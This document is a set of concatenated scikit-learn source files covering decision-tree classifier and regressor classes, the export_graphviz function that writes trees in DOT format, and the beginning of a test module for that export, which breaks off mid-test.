            to a sparse ``csr_matrix``.

        check_input : boolean, (default=True)
            Allow to bypass several input checking.
            Don't use this parameter unless you know what you do.

        Returns
        -------
        X_leaves : array_like, shape = [n_samples,]
            For each datapoint x in X, return the index of the leaf x
            ends up in. Leaves are numbered within
            ``[0; self.tree_.node_count)``, possibly with gaps in the
            numbering.
        """
        X = self._validate_X_predict(X, check_input)
        return self.tree_.apply(X)

    def decision_path(self, X, check_input=True):
        """Return the decision path in the tree

        Parameters
        ----------
        X : array_like or sparse matrix, shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        check_input : boolean, (default=True)
            Allow to bypass several input checking.
            Don't use this parameter unless you know what you do.

        Returns
        -------
        indicator : sparse csr array, shape = [n_samples, n_nodes]
            Return a node indicator matrix where non zero elements
            indicates that the samples goes through the nodes.

        """
        X = self._validate_X_predict(X, check_input)
        return self.tree_.decision_path(X)

    @property
    def feature_importances_(self):
        """Return the feature importances.

        The importance of a feature is computed as the (normalized) total
        reduction of the criterion brought by that feature.
        It is also known as the Gini importance.

        Returns
        -------
        feature_importances_ : array, shape = [n_features]
        """
        if self.tree_ is None:
            raise NotFittedError("Estimator not fitted, call `fit` before"
                                 " `feature_importances_`.")

        return self.tree_.compute_feature_importances()


# =============================================================================
# Public estimators
# =============================================================================

class DecisionTreeClassifier(BaseDecisionTree, ClassifierMixin):
    """A decision tree classifier.

    Read more in the :ref:`User Guide <tree>`.

    Parameters
    ----------
    criterion : string, optional (default="gini")
        The function to measure the quality of a split. Supported criteria are
        "gini" for the Gini impurity and "entropy" for the information gain.

    splitter : string, optional (default="best")
        The strategy used to choose the split at each node. Supported
        strategies are "best" to choose the best split and "random" to choose
        the best random split.

    max_features : int, float, string or None, optional (default=None)
        The number of features to consider when looking for the best split:

            - If int, then consider `max_features` features at each split.
            - If float, then `max_features` is a percentage and
              `int(max_features * n_features)` features are considered at each
              split.
            - If "auto", then `max_features=sqrt(n_features)`.
            - If "sqrt", then `max_features=sqrt(n_features)`.
            - If "log2", then `max_features=log2(n_features)`.
            - If None, then `max_features=n_features`.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
        effectively inspect more than ``max_features`` features.

    max_depth : int or None, optional (default=None)
        The maximum depth of the tree. If None, then nodes are expanded until
        all leaves are pure or until all leaves contain less than
        min_samples_split samples.

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    max_leaf_nodes : int or None, optional (default=None)
        Grow a tree with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    class_weight : dict, list of dicts, "balanced" or None, optional (default=None)
        Weights associated with classes in the form ``{class_label: weight}``.
        If not given, all classes are supposed to have weight one. For
        multi-output problems, a list of dicts can be provided in the same
        order as the columns of y.

        The "balanced" mode uses the values of y to automatically adjust
        weights inversely proportional to class frequencies in the input data
        as ``n_samples / (n_classes * np.bincount(y))``

        For multi-output, the weights of each column of y will be multiplied.

        Note that these weights will be multiplied with sample_weight (passed
        through the fit method) if sample_weight is specified.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. A node will split
        if its impurity is above the threshold, otherwise it is a leaf.

        .. versionadded:: 0.18

    presort : bool, optional (default=False)
        Whether to presort the data to speed up the finding of best splits in
        fitting. For the default settings of a decision tree on large
        datasets, setting this to true may slow down the training process.
        When using either a smaller dataset or a restricted depth, this may
        speed up the training.

    Attributes
    ----------
    classes_ : array of shape = [n_classes] or a list of such arrays
        The classes labels (single output problem),
        or a list of arrays of class labels (multi-output problem).

    feature_importances_ : array of shape = [n_features]
        The feature importances. The higher, the more important the
        feature. The importance of a feature is computed as the (normalized)
        total reduction of the criterion brought by that feature.  It is also
        known as the Gini importance [4]_.

    max_features_ : int,
        The inferred value of max_features.

    n_classes_ : int or list
        The number of classes (for single output problems),
        or a list containing the number of classes for each
        output (for multi-output problems).

    n_features_ : int
        The number of features when ``fit`` is performed.

    n_outputs_ : int
        The number of outputs when ``fit`` is performed.

    tree_ : Tree object
        The underlying Tree object.

    See also
    --------
    DecisionTreeRegressor

    References
    ----------

    .. [1] https://en.wikipedia.org/wiki/Decision_tree_learning

    .. [2] L. Breiman, J. Friedman, R. Olshen, and C. Stone, "Classification
           and Regression Trees", Wadsworth, Belmont, CA, 1984.

    .. [3] T. Hastie, R. Tibshirani and J. Friedman. "Elements of Statistical
           Learning", Springer, 2009.

    .. [4] L. Breiman, and A. Cutler, "Random Forests",
           http://www.stat.berkeley.edu/~breiman/RandomForests/cc_home.htm

    Examples
    --------
    >>> from sklearn.datasets import load_iris
    >>> from sklearn.model_selection import cross_val_score
    >>> from sklearn.tree import DecisionTreeClassifier
    >>> clf = DecisionTreeClassifier(random_state=0)
    >>> iris = load_iris()
    >>> cross_val_score(clf, iris.data, iris.target, cv=10)
    ...                             # doctest: +SKIP
    ...
    array([ 1.     ,  0.93...,  0.86...,  0.93...,  0.93...,
            0.93...,  0.93...,  1.     ,  0.93...,  1.      ])
    """
    def __init__(self,
                 criterion="gini",
                 splitter="best",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features=None,
                 random_state=None,
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 class_weight=None,
                 presort=False):
        super(DecisionTreeClassifier, self).__init__(
            criterion=criterion,
            splitter=splitter,
            max_depth=max_depth,
            min_samples_split=min_samples_split,
            min_samples_leaf=min_samples_leaf,
            min_weight_fraction_leaf=min_weight_fraction_leaf,
            max_features=max_features,
            max_leaf_nodes=max_leaf_nodes,
            class_weight=class_weight,
            random_state=random_state,
            min_impurity_split=min_impurity_split,
            presort=presort)

    def predict_proba(self, X, check_input=True):
        """Predict class probabilities of the input samples X.

        The predicted class probability is the fraction of samples of the same
        class in a leaf.

        check_input : boolean, (default=True)
            Allow to bypass several input checking.
            Don't use this parameter unless you know what you do.

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        p : array of shape = [n_samples, n_classes], or a list of n_outputs
            such arrays if n_outputs > 1.
            The class probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        X = self._validate_X_predict(X, check_input)
        proba = self.tree_.predict(X)

        if self.n_outputs_ == 1:
            proba = proba[:, :self.n_classes_]
            normalizer = proba.sum(axis=1)[:, np.newaxis]
            normalizer[normalizer == 0.0] = 1.0
            proba /= normalizer

            return proba

        else:
            all_proba = []

            for k in range(self.n_outputs_):
                proba_k = proba[:, k, :self.n_classes_[k]]
                normalizer = proba_k.sum(axis=1)[:, np.newaxis]
                normalizer[normalizer == 0.0] = 1.0
                proba_k /= normalizer
                all_proba.append(proba_k)

            return all_proba

    def predict_log_proba(self, X):
        """Predict class log-probabilities of the input samples X.

        Parameters
        ----------
        X : array-like or sparse matrix of shape = [n_samples, n_features]
            The input samples. Internally, it will be converted to
            ``dtype=np.float32`` and if a sparse matrix is provided
            to a sparse ``csr_matrix``.

        Returns
        -------
        p : array of shape = [n_samples, n_classes], or a list of n_outputs
            such arrays if n_outputs > 1.
            The class log-probabilities of the input samples. The order of the
            classes corresponds to that in the attribute `classes_`.
        """
        proba = self.predict_proba(X)

        if self.n_outputs_ == 1:
            return np.log(proba)

        else:
            for k in range(self.n_outputs_):
                proba[k] = np.log(proba[k])

            return proba


class DecisionTreeRegressor(BaseDecisionTree, RegressorMixin):
    """A decision tree regressor.

    Read more in the :ref:`User Guide <tree>`.

    Parameters
    ----------
    criterion : string, optional (default="mse")
        The function to measure the quality of a split. Supported criteria
        are "mse" for the mean squared error, which is equal to variance
        reduction as feature selection criterion, and "mae" for the mean
        absolute error.

        .. versionadded:: 0.18
           Mean Absolute Error (MAE) criterion.

    splitter : string, optional (default="best")
        The strategy used to choose the split at each node. Supported
        strategies are "best" to choose the best split and "random" to choose
        the best random split.

    max_features : int, float, string or None, optional (default=None)
        The number of features to consider when looking for the best split:

        - If int, then consider `max_features` features at each split.
        - If float, then `max_features` is a percentage and
          `int(max_features * n_features)` features are considered at each
          split.
        - If "auto", then `max_features=n_features`.
        - If "sqrt", then `max_features=sqrt(n_features)`.
        - If "log2", then `max_features=log2(n_features)`.
        - If None, then `max_features=n_features`.

        Note: the search for a split does not stop until at least one
        valid partition of the node samples is found, even if it requires to
        effectively inspect more than ``max_features`` features.

    max_depth : int or None, optional (default=None)
        The maximum depth of the tree. If None, then nodes are expanded until
        all leaves are pure or until all leaves contain less than
        min_samples_split samples.

    min_samples_split : int, float, optional (default=2)
        The minimum number of samples required to split an internal node:

        - If int, then consider `min_samples_split` as the minimum number.
        - If float, then `min_samples_split` is a percentage and
          `ceil(min_samples_split * n_samples)` are the minimum
          number of samples for each split.

    min_samples_leaf : int, float, optional (default=1)
        The minimum number of samples required to be at a leaf node:

        - If int, then consider `min_samples_leaf` as the minimum number.
        - If float, then `min_samples_leaf` is a percentage and
          `ceil(min_samples_leaf * n_samples)` are the minimum
          number of samples for each node.

    min_weight_fraction_leaf : float, optional (default=0.)
        The minimum weighted fraction of the input samples required to be at a
        leaf node.

    max_leaf_nodes : int or None, optional (default=None)
        Grow a tree with ``max_leaf_nodes`` in best-first fashion.
        Best nodes are defined as relative reduction in impurity.
        If None then unlimited number of leaf nodes.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    min_impurity_split : float, optional (default=1e-7)
        Threshold for early stopping in tree growth. If the impurity
        of a node is below the threshold, the node is a leaf.

        .. versionadded:: 0.18

    presort : bool, optional (default=False)
        Whether to presort the data to speed up the finding of best splits in
        fitting. For the default settings of a decision tree on large
        datasets, setting this to true may slow down the training process.
        When using either a smaller dataset or a restricted depth, this may
        speed up the training.

    Attributes
    ----------
    feature_importances_ : array of shape = [n_features]
        The feature importances.
        The higher, the more important the feature.
        The importance of a feature is computed as the
        (normalized) total reduction of the criterion brought
        by that feature. It is also known as the Gini importance [4]_.

    max_features_ : int,
        The inferred value of max_features.

    n_features_ : int
        The number of features when ``fit`` is performed.

    n_outputs_ : int
        The number of outputs when ``fit`` is performed.

    tree_ : Tree object
        The underlying Tree object.

    See also
    --------
    DecisionTreeClassifier

    References
    ----------

    .. [1] https://en.wikipedia.org/wiki/Decision_tree_learning

    .. [2] L. Breiman, J. Friedman, R. Olshen, and C. Stone, "Classification
           and Regression Trees", Wadsworth, Belmont, CA, 1984.

    .. [3] T. Hastie, R. Tibshirani and J. Friedman. "Elements of Statistical
           Learning", Springer, 2009.

    .. [4] L. Breiman, and A. Cutler, "Random Forests",
           http://www.stat.berkeley.edu/~breiman/RandomForests/cc_home.htm

    Examples
    --------
    >>> from sklearn.datasets import load_boston
    >>> from sklearn.model_selection import cross_val_score
    >>> from sklearn.tree import DecisionTreeRegressor
    >>> boston = load_boston()
    >>> regressor = DecisionTreeRegressor(random_state=0)
    >>> cross_val_score(regressor, boston.data, boston.target, cv=10)
    ...                    # doctest: +SKIP
    ...
    array([ 0.61..., 0.57..., -0.34..., 0.41..., 0.75...,
            0.07..., 0.29..., 0.33..., -1.42..., -1.77...])
    """
    def __init__(self,
                 criterion="mse",
                 splitter="best",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features=None,
                 random_state=None,
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 presort=False):
        super(DecisionTreeRegressor, self).__init__(
            criterion=criterion,
            splitter=splitter,
            max_depth=max_depth,
            min_samples_split=min_samples_split,
            min_samples_leaf=min_samples_leaf,
            min_weight_fraction_leaf=min_weight_fraction_leaf,
            max_features=max_features,
            max_leaf_nodes=max_leaf_nodes,
            random_state=random_state,
            min_impurity_split=min_impurity_split,
            presort=presort)


class ExtraTreeClassifier(DecisionTreeClassifier):
    """An extremely randomized tree classifier.

    Extra-trees differ from classic decision trees in the way they are built.
    When looking for the best split to separate the samples of a node into two
    groups, random splits are drawn for each of the `max_features` randomly
    selected features and the best split among those is chosen. When
    `max_features` is set 1, this amounts to building a totally random
    decision tree.

    Warning: Extra-trees should only be used within ensemble methods.

    Read more in the :ref:`User Guide <tree>`.

    See also
    --------
    ExtraTreeRegressor, ExtraTreesClassifier, ExtraTreesRegressor

    References
    ----------

    .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees",
           Machine Learning, 63(1), 3-42, 2006.
    """
    def __init__(self,
                 criterion="gini",
                 splitter="random",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features="auto",
                 random_state=None,
                 max_leaf_nodes=None,
                 min_impurity_split=1e-7,
                 class_weight=None):
        super(ExtraTreeClassifier, self).__init__(
            criterion=criterion,
            splitter=splitter,
            max_depth=max_depth,
            min_samples_split=min_samples_split,
            min_samples_leaf=min_samples_leaf,
            min_weight_fraction_leaf=min_weight_fraction_leaf,
            max_features=max_features,
            max_leaf_nodes=max_leaf_nodes,
            class_weight=class_weight,
            min_impurity_split=min_impurity_split,
            random_state=random_state)


class ExtraTreeRegressor(DecisionTreeRegressor):
    """An extremely randomized tree regressor.

    Extra-trees differ from classic decision trees in the way they are built.
    When looking for the best split to separate the samples of a node into two
    groups, random splits are drawn for each of the `max_features` randomly
    selected features and the best split among those is chosen. When
    `max_features` is set 1, this amounts to building a totally random
    decision tree.

    Warning: Extra-trees should only be used within ensemble methods.

    Read more in the :ref:`User Guide <tree>`.

    See also
    --------
    ExtraTreeClassifier, ExtraTreesClassifier, ExtraTreesRegressor

    References
    ----------

    .. [1] P. Geurts, D. Ernst., and L. Wehenkel, "Extremely randomized trees",
           Machine Learning, 63(1), 3-42, 2006.
    """
    def __init__(self,
                 criterion="mse",
                 splitter="random",
                 max_depth=None,
                 min_samples_split=2,
                 min_samples_leaf=1,
                 min_weight_fraction_leaf=0.,
                 max_features="auto",
                 random_state=None,
                 min_impurity_split=1e-7,
                 max_leaf_nodes=None):
        super(ExtraTreeRegressor, self).__init__(
            criterion=criterion,
            splitter=splitter,
            max_depth=max_depth,
            min_samples_split=min_samples_split,
            min_samples_leaf=min_samples_leaf,
            min_weight_fraction_leaf=min_weight_fraction_leaf,
            max_features=max_features,
            max_leaf_nodes=max_leaf_nodes,
            min_impurity_split=min_impurity_split,
            random_state=random_state)






"""
The :mod:`sklearn.tree` module includes decision tree-based models for
classification and regression.
"""

from .tree import DecisionTreeClassifier
from .tree import DecisionTreeRegressor
from .tree import ExtraTreeClassifier
from .tree import ExtraTreeRegressor
from .export import export_graphviz

__all__ = ["DecisionTreeClassifier", "DecisionTreeRegressor",
           "ExtraTreeClassifier", "ExtraTreeRegressor", "export_graphviz"]






"""
This module defines export functions for decision trees.
"""

# Authors: Gilles Louppe <g.louppe@gmail.com>
#          Peter Prettenhofer <peter.prettenhofer@gmail.com>
#          Brian Holt <bdholt1@gmail.com>
#          Noel Dawe <noel@dawe.me>
#          Satrajit Gosh <satrajit.ghosh@gmail.com>
#          Trevor Stephens <trev.stephens@gmail.com>
# License: BSD 3 clause

import numpy as np

from ..externals import six

from . import _criterion
from . import _tree


def _color_brew(n):
    """Generate n colors with equally spaced hues.

    Parameters
    ----------
    n : int
        The number of colors required.

    Returns
    -------
    color_list : list, length n
        List of n tuples of form (R, G, B) being the components of each color.
    """
    color_list = []

    # Initialize saturation & value; calculate chroma & value shift
    s, v = 0.75, 0.9
    c = s * v
    m = v - c

    for h in np.arange(25, 385, 360. / n).astype(int):
        # Calculate some intermediate values
        h_bar = h / 60.
        x = c * (1 - abs((h_bar % 2) - 1))
        # Initialize RGB with same hue & chroma as our color
        rgb = [(c, x, 0),
               (x, c, 0),
               (0, c, x),
               (0, x, c),
               (x, 0, c),
               (c, 0, x),
               (c, x, 0)]
        r, g, b = rgb[int(h_bar)]
        # Shift the initial RGB values to match value and store
        rgb = [(int(255 * (r + m))),
               (int(255 * (g + m))),
               (int(255 * (b + m)))]
        color_list.append(rgb)

    return color_list


def export_graphviz(decision_tree, out_file="tree.dot", max_depth=None,
                    feature_names=None, class_names=None, label='all',
                    filled=False, leaves_parallel=False, impurity=True,
                    node_ids=False, proportion=False, rotate=False,
                    rounded=False, special_characters=False):
    """Export a decision tree in DOT format.

    This function generates a GraphViz representation of the decision tree,
    which is then written into `out_file`. Once exported, graphical renderings
    can be generated using, for example::

        $ dot -Tps tree.dot -o tree.ps      (PostScript format)
        $ dot -Tpng tree.dot -o tree.png    (PNG format)

    The sample counts that are shown are weighted with any sample_weights that
    might be present.

    Read more in the :ref:`User Guide <tree>`.

    Parameters
    ----------
    decision_tree : decision tree classifier
        The decision tree to be exported to GraphViz.

    out_file : file object or string, optional (default="tree.dot")
        Handle or name of the output file.

    max_depth : int, optional (default=None)
        The maximum depth of the representation. If None, the tree is fully
        generated.

    feature_names : list of strings, optional (default=None)
        Names of each of the features.

    class_names : list of strings, bool or None, optional (default=None)
        Names of each of the target classes in ascending numerical order.
        Only relevant for classification and not supported for multi-output.
        If ``True``, shows a symbolic representation of the class name.

    label : {'all', 'root', 'none'}, optional (default='all')
        Whether to show informative labels for impurity, etc.
        Options include 'all' to show at every node, 'root' to show only at
        the top root node, or 'none' to not show at any node.

    filled : bool, optional (default=False)
        When set to ``True``, paint nodes to indicate majority class for
        classification, extremity of values for regression, or purity of node
        for multi-output.

    leaves_parallel : bool, optional (default=False)
        When set to ``True``, draw all leaf nodes at the bottom of the tree.

    impurity : bool, optional (default=True)
        When set to ``True``, show the impurity at each node.

    node_ids : bool, optional (default=False)
        When set to ``True``, show the ID number on each node.

    proportion : bool, optional (default=False)
        When set to ``True``, change the display of 'values' and/or 'samples'
        to be proportions and percentages respectively.

    rotate : bool, optional (default=False)
        When set to ``True``, orient tree left to right rather than top-down.

    rounded : bool, optional (default=False)
        When set to ``True``, draw node boxes with rounded corners and use
        Helvetica fonts instead of Times-Roman.

    special_characters : bool, optional (default=False)
        When set to ``False``, ignore special characters for PostScript
        compatibility.

    Examples
    --------
    >>> from sklearn.datasets import load_iris
    >>> from sklearn import tree

    >>> clf = tree.DecisionTreeClassifier()
    >>> iris = load_iris()

    >>> clf = clf.fit(iris.data, iris.target)
    >>> tree.export_graphviz(clf,
    ...     out_file='tree.dot')                # doctest: +SKIP
    """

    def get_color(value):
        # Find the appropriate color & intensity for a node
        if colors['bounds'] is None:
            # Classification tree
            color = list(colors['rgb'][np.argmax(value)])
            sorted_values = sorted(value, reverse=True)
            if len(sorted_values) == 1:
                alpha = 0
            else:
                alpha = int(np.round(255 * (sorted_values[0] - sorted_values[1]) /
                                           (1 - sorted_values[1]), 0))
        else:
            # Regression tree or multi-output
            color = list(colors['rgb'][0])
            alpha = int(np.round(255 * ((value - colors['bounds'][0]) /
                                        (colors['bounds'][1] -
                                         colors['bounds'][0])), 0))

        # Return html color code in #RRGGBBAA format
        color.append(alpha)
        hex_codes = [str(i) for i in range(10)]
        hex_codes.extend(['a', 'b', 'c', 'd', 'e', 'f'])
        color = [hex_codes[c // 16] + hex_codes[c % 16] for c in color]

        return '#' + ''.join(color)

    def node_to_str(tree, node_id, criterion):
        # Generate the node content string
        if tree.n_outputs == 1:
            value = tree.value[node_id][0, :]
        else:
            value = tree.value[node_id]

        # Should labels be shown?
        labels = (label == 'root' and node_id == 0) or label == 'all'

        # PostScript compatibility for special characters
        if special_characters:
            characters = ['&#35;', '<SUB>', '</SUB>', '&le;', '<br/>', '>']
            node_string = '<'
        else:
            characters = ['#', '[', ']', '<=', '\\n', '"']
            node_string = '"'

        # Write node ID
        if node_ids:
            if labels:
                node_string += 'node '
            node_string += characters[0] + str(node_id) + characters[4]

        # Write decision criteria
        if tree.children_left[node_id] != _tree.TREE_LEAF:
            # Always write node decision criteria, except for leaves
            if feature_names is not None:
                feature = feature_names[tree.feature[node_id]]
            else:
                feature = "X%s%s%s" % (characters[1],
                                       tree.feature[node_id],
                                       characters[2])
            node_string += '%s %s %s%s' % (feature,
                                           characters[3],
                                           round(tree.threshold[node_id], 4),
                                           characters[4])

        # Write impurity
        if impurity:
            if isinstance(criterion, _criterion.FriedmanMSE):
                criterion = "friedman_mse"
            elif not isinstance(criterion, six.string_types):
                criterion = "impurity"
            if labels:
                node_string += '%s = ' % criterion
            node_string += (str(round(tree.impurity[node_id], 4)) +
                            characters[4])

        # Write node sample count
        if labels:
            node_string += 'samples = '
        if proportion:
            percent = (100. * tree.n_node_samples[node_id] /
                       float(tree.n_node_samples[0]))
            node_string += (str(round(percent, 1)) + '%' +
                            characters[4])
        else:
            node_string += (str(tree.n_node_samples[node_id]) +
                            characters[4])

        # Write node class distribution / regression value
        if proportion and tree.n_classes[0] != 1:
            # For classification this will show the proportion of samples
            value = value / tree.weighted_n_node_samples[node_id]
        if labels:
            node_string += 'value = '
        if tree.n_classes[0] == 1:
            # Regression
            value_text = np.around(value, 4)
        elif proportion:
            # Classification
            value_text = np.around(value, 2)
        elif np.all(np.equal(np.mod(value, 1), 0)):
            # Classification without floating-point weights
            value_text = value.astype(int)
        else:
            # Classification with floating-point weights
            value_text = np.around(value, 4)
        # Strip whitespace
        value_text = str(value_text.astype('S32')).replace("b'", "'")
        value_text = value_text.replace("' '", ", ").replace("'", "")
        if tree.n_classes[0] == 1 and tree.n_outputs == 1:
            value_text = value_text.replace("[", "").replace("]", "")
        value_text = value_text.replace("\n ", characters[4])
        node_string += value_text + characters[4]

        # Write node majority class
        if (class_names is not None and
                tree.n_classes[0] != 1 and
                tree.n_outputs == 1):
            # Only done for single-output classification trees
            if labels:
                node_string += 'class = '
            if class_names is not True:
                class_name = class_names[np.argmax(value)]
            else:
                class_name = "y%s%s%s" % (characters[1],
                                          np.argmax(value),
                                          characters[2])
            node_string += class_name

        # Clean up any trailing newlines
        if node_string[-2:] == '\\n':
            node_string = node_string[:-2]
        if node_string[-5:] == '<br/>':
            node_string = node_string[:-5]

        return node_string + characters[5]

    def recurse(tree, node_id, criterion, parent=None, depth=0):
        if node_id == _tree.TREE_LEAF:
            raise ValueError("Invalid node_id %s" % _tree.TREE_LEAF)

        left_child = tree.children_left[node_id]
        right_child = tree.children_right[node_id]

        # Add node with description
        if max_depth is None or depth <= max_depth:

            # Collect ranks for 'leaf' option in plot_options
            if left_child == _tree.TREE_LEAF:
                ranks['leaves'].append(str(node_id))
            elif str(depth) not in ranks:
                ranks[str(depth)] = [str(node_id)]
            else:
                ranks[str(depth)].append(str(node_id))

            out_file.write('%d [label=%s'
                           % (node_id,
                              node_to_str(tree, node_id, criterion)))

            if filled:
                # Fetch appropriate color for node
                if 'rgb' not in colors:
                    # Initialize colors and bounds if required
                    colors['rgb'] = _color_brew(tree.n_classes[0])
                    if tree.n_outputs != 1:
                        # Find max and min impurities for multi-output
                        colors['bounds'] = (np.min(-tree.impurity),
                                            np.max(-tree.impurity))
                    elif tree.n_classes[0] == 1 and len(np.unique(tree.value)) != 1:
                        # Find max and min values in leaf nodes for regression
                        colors['bounds'] = (np.min(tree.value),
                                            np.max(tree.value))
                if tree.n_outputs == 1:
                    node_val = (tree.value[node_id][0, :] /
                                tree.weighted_n_node_samples[node_id])
                    if tree.n_classes[0] == 1:
                        # Regression
                        node_val = tree.value[node_id][0, :]
                else:
                    # If multi-output color node by impurity
                    node_val = -tree.impurity[node_id]
                out_file.write(', fillcolor="%s"' % get_color(node_val))
            out_file.write('] ;\n')

            if parent is not None:
                # Add edge to parent
                out_file.write('%d -> %d' % (parent, node_id))
                if parent == 0:
                    # Draw True/False labels if parent is root node
                    angles = np.array([45, -45]) * ((rotate - .5) * -2)
                    out_file.write(' [labeldistance=2.5, labelangle=')
                    if node_id == 1:
                        out_file.write('%d, headlabel="True"]' % angles[0])
                    else:
                        out_file.write('%d, headlabel="False"]' % angles[1])
                out_file.write(' ;\n')

            if left_child != _tree.TREE_LEAF:
                recurse(tree, left_child, criterion=criterion, parent=node_id,
                        depth=depth + 1)
                recurse(tree, right_child, criterion=criterion, parent=node_id,
                        depth=depth + 1)

        else:
            ranks['leaves'].append(str(node_id))

            out_file.write('%d [label="(...)"' % node_id)
            if filled:
                # color cropped nodes grey
                out_file.write(', fillcolor="#C0C0C0"')
            out_file.write('] ;\n' % node_id)

            if parent is not None:
                # Add edge to parent
                out_file.write('%d -> %d ;\n' % (parent, node_id))

    own_file = False
    try:
        if isinstance(out_file, six.string_types):
            if six.PY3:
                out_file = open(out_file, "w", encoding="utf-8")
            else:
                out_file = open(out_file, "wb")
            own_file = True

        # The depth of each node for plotting with 'leaf' option
        ranks = {'leaves': []}
        # The colors to render each node with
        colors = {'bounds': None}

        out_file.write('digraph Tree {\n')

        # Specify node aesthetics
        out_file.write('node [shape=box')
        rounded_filled = []
        if filled:
            rounded_filled.append('filled')
        if rounded:
            rounded_filled.append('rounded')
        if len(rounded_filled) > 0:
            out_file.write(', style="%s", color="black"'
                           % ", ".join(rounded_filled))
        if rounded:
            out_file.write(', fontname=helvetica')
        out_file.write('] ;\n')

        # Specify graph & edge aesthetics
        if leaves_parallel:
            out_file.write('graph [ranksep=equally, splines=polyline] ;\n')
        if rounded:
            out_file.write('edge [fontname=helvetica] ;\n')
        if rotate:
            out_file.write('rankdir=LR ;\n')

        # Now recurse the tree and add node & edge attributes
        if isinstance(decision_tree, _tree.Tree):
            recurse(decision_tree, 0, criterion="impurity")
        else:
            recurse(decision_tree.tree_, 0, criterion=decision_tree.criterion)

        # If required, draw leaf nodes at same depth as each other
        if leaves_parallel:
            for rank in sorted(ranks):
                out_file.write("{rank=same ; " +
                               "; ".join(r for r in ranks[rank]) + "} ;\n")
        out_file.write("}")

    finally:
        if own_file:
            out_file.close()






"""
Testing for export functions of decision trees (sklearn.tree.export).
"""

from re import finditer

from numpy.testing import assert_equal
from nose.tools import assert_raises

from sklearn.tree import DecisionTreeClassifier, DecisionTreeRegressor
from sklearn.ensemble import GradientBoostingClassifier
from sklearn.tree import export_graphviz
from sklearn.externals.six import StringIO
from sklearn.utils.testing import assert_in

# toy sample
X = [[-2, -1], [-1, -1], [-1, -2], [1, 1], [1, 2], [2, 1]]
y = [-1, -1, -1, 1, 1, 1]
y2 = [[-1, 1], [-1, 1], [-1, 1], [1, 2], [1, 2], [1, 3]]
w = [1, 1, 1, .5, .5, .5]
y_degraded = [1, 1, 1, 1, 1, 1]


def test_graphviz_toy():
    # Check correctness of export_graphviz
    clf = DecisionTreeClassifier(max_depth=3,
                                 min_samples_split=2,
                                 criterion="gini",
                                 random_state=2)
    clf.fit(X, y)

    # Test export code
    out = StringIO()
    export_graphviz(clf, out_file=out)
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box] ;\n' \
                '0 [label="X[0] <= 0.0\\ngini = 0.5\\nsamples = 6\\n' \
                'value = [3, 3]"] ;\n' \
                '1 [label="gini = 0.0\\nsamples = 3\\nvalue = [3, 0]"] ;\n' \
                '0 -> 1 [labeldistance=2.5, labelangle=45, ' \
                'headlabel="True"] ;\n' \
                '2 [label="gini = 0.0\\nsamples = 3\\nvalue = [0, 3]"] ;\n' \
                '0 -> 2 [labeldistance=2.5, labelangle=-45, ' \
                'headlabel="False"] ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test with feature_names
    out = StringIO()
    export_graphviz(clf, out_file=out, feature_names=["feature0", "feature1"])
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box] ;\n' \
                '0 [label="feature0 <= 0.0\\ngini = 0.5\\nsamples = 6\\n' \
                'value = [3, 3]"] ;\n' \
                '1 [label="gini = 0.0\\nsamples = 3\\nvalue = [3, 0]"] ;\n' \
                '0 -> 1 [labeldistance=2.5, labelangle=45, ' \
                'headlabel="True"] ;\n' \
                '2 [label="gini = 0.0\\nsamples = 3\\nvalue = [0, 3]"] ;\n' \
                '0 -> 2 [labeldistance=2.5, labelangle=-45, ' \
                'headlabel="False"] ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test with class_names
    out = StringIO()
    export_graphviz(clf, out_file=out, class_names=["yes", "no"])
    contents1 = out.getvalue()
    contents2 = 'digraph Tree {\n' \
                'node [shape=box] ;\n' \
                '0 [label="X[0] <= 0.0\\ngini = 0.5\\nsamples = 6\\n' \
                'value = [3, 3]\\nclass = yes"] ;\n' \
                '1 [label="gini = 0.0\\nsamples = 3\\nvalue = [3, 0]\\n' \
                'class = yes"] ;\n' \
                '0 -> 1 [labeldistance=2.5, labelangle=45, ' \
                'headlabel="True"] ;\n' \
                '2 [label="gini = 0.0\\nsamples = 3\\nvalue = [0, 3]\\n' \
                'class = no"] ;\n' \
                '0 -> 2 [labeldistance=2.5, labelangle=-45, ' \
                'headlabel="False"] ;\n' \
                '}'

    assert_equal(contents1, contents2)

    # Test plot_options
    out = StringIO()
